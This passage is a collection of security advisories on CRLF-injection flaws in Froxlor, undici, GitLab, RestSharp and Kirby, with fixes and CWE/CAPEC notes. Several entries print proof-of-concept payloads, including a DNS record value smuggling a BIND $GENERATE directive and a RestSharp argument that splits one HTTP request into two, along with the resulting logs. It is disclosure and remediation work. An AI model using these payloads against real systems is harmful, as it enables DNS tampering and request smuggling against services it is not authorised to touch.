\\\"\\\" \\\"\\\" \\\"\\\" .\\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.\"\n }\n }\u0027\n```\n\nThis injects a `$GENERATE` directive that creates 255 PTR records.\n\n## Impact\n\nAn authenticated customer with DNS editing enabled can:\n\n1. **Inject arbitrary DNS records** bypassing all content validation \u2014 including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.\n2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.\n3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.\n4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.\n\nWhile this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.\n\n## Recommended Fix\n\n**1. Add a type whitelist in `DomainZones::add()` (primary fix):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php \u2014 after line 93\n$type = $this-\u003egetParam(\u0027type\u0027, true, \u0027A\u0027);\n\n$allowed_types = [\u0027A\u0027, \u0027AAAA\u0027, \u0027CAA\u0027, \u0027CNAME\u0027, \u0027DNAME\u0027, \u0027LOC\u0027, \u0027MX\u0027, \u0027NS\u0027, \u0027RP\u0027, \u0027SRV\u0027, \u0027SSHFP\u0027, \u0027TLSA\u0027, \u0027TXT\u0027];\nif (!in_array($type, $allowed_types)) {\n throw new Exception(\"DNS record type \u0027\" . htmlspecialchars($type) . \"\u0027 is not supported\", 406);\n}\n```\n\n**2. Strip newline characters from content (defense-in-depth):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php \u2014 replace line 154\n$content = trim(str_replace([\"\\r\", \"\\n\"], \u0027\u0027, $content));\n```\n\n**3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:**\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php \u2014 at the start of __toString()\n$_content = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, $this-\u003econtent);\n```",
"id": "GHSA-47hf-23pw-3m8c",
"modified": "2026-04-24T20:54:04Z",
"published": "2026-04-16T00:47:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41230"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()"
}
GHSA-4992-7RV2-5PVQ
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Impact
When an application passes user-controlled input to the upgrade option of client.request(), an attacker can inject CRLF sequences (\r\n) to:
- Inject arbitrary HTTP headers
- Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)
The vulnerability exists because undici writes the upgrade value directly to the socket without validating for invalid header characters:
// lib/dispatcher/client-h1.js:1121
if (upgrade) {
header += `connection: upgrade\r\nupgrade: ${upgrade}\r\n`
}
Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
Workarounds
Sanitize the upgrade option string before passing to undici:
function sanitizeUpgrade(value) {
if (/[\r\n]/.test(value)) {
throw new Error('Invalid upgrade value')
}
return value
}
client.request({
upgrade: sanitizeUpgrade(userInput)
})
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1527"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:26Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen an application passes user-controlled input to the `upgrade` option of `client.request()`, an attacker can inject CRLF sequences (`\\r\\n`) to:\n\n1. Inject arbitrary HTTP headers\n2. Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)\n\nThe vulnerability exists because undici writes the `upgrade` value directly to the socket without validating for invalid header characters:\n\n```javascript\n// lib/dispatcher/client-h1.js:1121\nif (upgrade) {\n header += `connection: upgrade\\r\\nupgrade: ${upgrade}\\r\\n`\n}\n```\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nSanitize the `upgrade` option string before passing to undici:\n\n```javascript\nfunction sanitizeUpgrade(value) {\n if (/[\\r\\n]/.test(value)) {\n throw new Error(\u0027Invalid upgrade value\u0027)\n }\n return value\n}\n\nclient.request({\n upgrade: sanitizeUpgrade(userInput)\n})\n```",
"id": "GHSA-4992-7rv2-5pvq",
"modified": "2026-03-13T20:41:26Z",
"published": "2026-03-13T20:41:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3487198"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Undici has CRLF Injection in undici via `upgrade` option"
}
GHSA-49RG-2GMX-QJMR
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2022-05-24 16:45GitLab CE/EE versions 8.18 up to 11.x before 11.3.11, 11.4.x before 11.4.8, and 11.5.x before 11.5.1 have CRLF Injection in Project Mirroring when using the Git protocol.
{
"affected": [],
"aliases": [
"CVE-2018-19585"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-17T16:29:00Z",
"severity": "HIGH"
},
"details": "GitLab CE/EE versions 8.18 up to 11.x before 11.3.11, 11.4.x before 11.4.8, and 11.5.x before 11.5.1 have CRLF Injection in Project Mirroring when using the Git protocol.",
"id": "GHSA-49rg-2gmx-qjmr",
"modified": "2022-05-24T16:45:58Z",
"published": "2022-05-24T16:45:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19585"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/blog/categories/releases"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160516/GitLab-11.4.7-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160699/GitLab-11.4.7-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4RR6-2V9V-WCPC
Vulnerability from github – Published: 2024-08-29 19:30 – Updated: 2024-10-01 21:48Summary
The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.
This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
using RestSharp;
class Program
{
static async Task Main(string[] args)
{
// Usage: dotnet run <api key>
var key = args[0];
var options = new RestClientOptions("http://insert.some.site.here");
var client = new RestClient(options);
var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
var response = await client.ExecuteAsync(request);
Console.WriteLine($"Status: {response.StatusCode}");
Console.WriteLine($"Response: {response.Content}");
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "RestSharp"
},
"ranges": [
{
"events": [
{
"introduced": "107.0.0-preview.1"
},
{
"fixed": "112.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45302"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-74",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T19:30:51Z",
"nvd_published_at": "2024-08-29T22:15:05Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32\u003e This method does not check for CRLF characters in the header value.\n\nThis means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable \"api key\" and then makes a request to some status page with the provided key inserted in the \"Authorization\" header:\n\n```c#\nusing RestSharp;\n\nclass Program\n{\n static async Task Main(string[] args)\n {\n // Usage: dotnet run \u003capi key\u003e\n var key = args[0];\n var options = new RestClientOptions(\"http://insert.some.site.here\");\n var client = new RestClient(options);\n var request = new RestRequest(\"/status\", Method.Get).AddHeader(\"Authorization\", key);\n var response = await client.ExecuteAsync(request);\n Console.WriteLine($\"Status: {response.StatusCode}\");\n Console.WriteLine($\"Response: {response.Content}\");\n }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nStatus: OK\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: \u003capi key\u003e\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"RestSharp/111.4.1.0\"\n```\n\n### Impact\nIf an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.\n\n",
"id": "GHSA-4rr6-2v9v-wcpc",
"modified": "2024-10-01T21:48:41Z",
"published": "2024-08-29T19:30:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45302"
},
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b"
},
{
"type": "PACKAGE",
"url": "https://github.com/restsharp/RestSharp"
},
{
"type": "WEB",
"url": "https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "CRLF Injection in RestSharp\u0027s `RestRequest.AddHeader` method"
}
GHSA-4V4H-M2QQ-PPGW
Vulnerability from github – Published: 2026-06-18 15:04 – Updated: 2026-06-18 15:04TL;DR
This vulnerability affects Kirby sites and plugins that use the Kirby\Http\Remote class (including Remote::request(), Remote::get(), Remote::post(), and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the headers option of such a request.
By including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.
A successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are not affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.
In Kirby's default configuration, the Remote class is not exposed to untrusted input, so a default installation is not affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.
Introduction
HTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (\r\n). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.
For outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as Authorization, Host, or Cookie), to smuggle requests, or to poison caches on the upstream system.
Such vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request – for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.
Affected components
The Kirby\Http\Remote class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its headers option allows callers to define the headers sent with the request.
As the vulnerability is in the way Remote assembles these headers, it affects all code paths that send a Remote request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.
Impact
In affected releases, header values passed to Remote were handed to the cURL request library without removing newline characters:
The headers option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing \r\n was written verbatim to the socket and therefore split into several header lines on the wire.
For example, a single X-Foo header value of "Bar\r\nX-Injected: pwned" produced two separate headers in the outgoing request:
X-Foo: Bar
X-Injected: pwned
The receiving server parsed X-Injected: pwned as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate Authorization header).
The vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.
Patches
The problem has been patched in Kirby 4.9.4 and Kirby 5.4.4. Please update to one of these or a later version to fix the vulnerability.
In all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.3"
},
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.3"
},
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.1"
},
{
"fixed": "5.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50188"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T15:04:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### TL;DR\n\nThis vulnerability affects Kirby sites and plugins that use the `Kirby\\Http\\Remote` class (including `Remote::request()`, `Remote::get()`, `Remote::post()`, and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the `headers` option of such a request.\n\nBy including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.\n\nA successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are *not* affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.\n\nIn Kirby\u0027s default configuration, the `Remote` class is not exposed to untrusted input, so a default installation is *not* affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.\n\n----\n\n### Introduction\n\nHTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (`\\r\\n`). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.\n\nFor outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as `Authorization`, `Host`, or `Cookie`), to smuggle requests, or to poison caches on the upstream system.\n\nSuch vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request \u2013 for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.\n\n### Affected components\n\nThe `Kirby\\Http\\Remote` class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its `headers` option allows callers to define the headers sent with the request.\n\nAs the vulnerability is in the way `Remote` assembles these headers, it affects all code paths that send a `Remote` request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.\n\n### Impact\n\nIn affected releases, header values passed to `Remote` were handed to the cURL request library without removing newline characters:\n\nThe `headers` option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing `\\r\\n` was written verbatim to the socket and therefore split into several header lines on the wire.\n\nFor example, a single `X-Foo` header value of `\"Bar\\r\\nX-Injected: pwned\"` produced two separate headers in the outgoing request:\n\n```\nX-Foo: Bar\nX-Injected: pwned\n```\n\nThe receiving server parsed `X-Injected: pwned` as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate `Authorization` header).\n\nThe vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.\n\n### Patches\n\nThe problem has been patched in [Kirby 4.9.4](https://github.com/getkirby/kirby/releases/tag/4.9.4) and [Kirby 5.4.4](https://github.com/getkirby/kirby/releases/tag/5.4.4). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.",
"id": "GHSA-4v4h-m2qq-ppgw",
"modified": "2026-06-18T15:04:47Z",
"published": "2026-06-18T15:04:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-4v4h-m2qq-ppgw"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkirby/kirby"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/4.9.4"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/5.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kirby: Request header injection in `Http\\Remote`"
}
Mitigation
Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.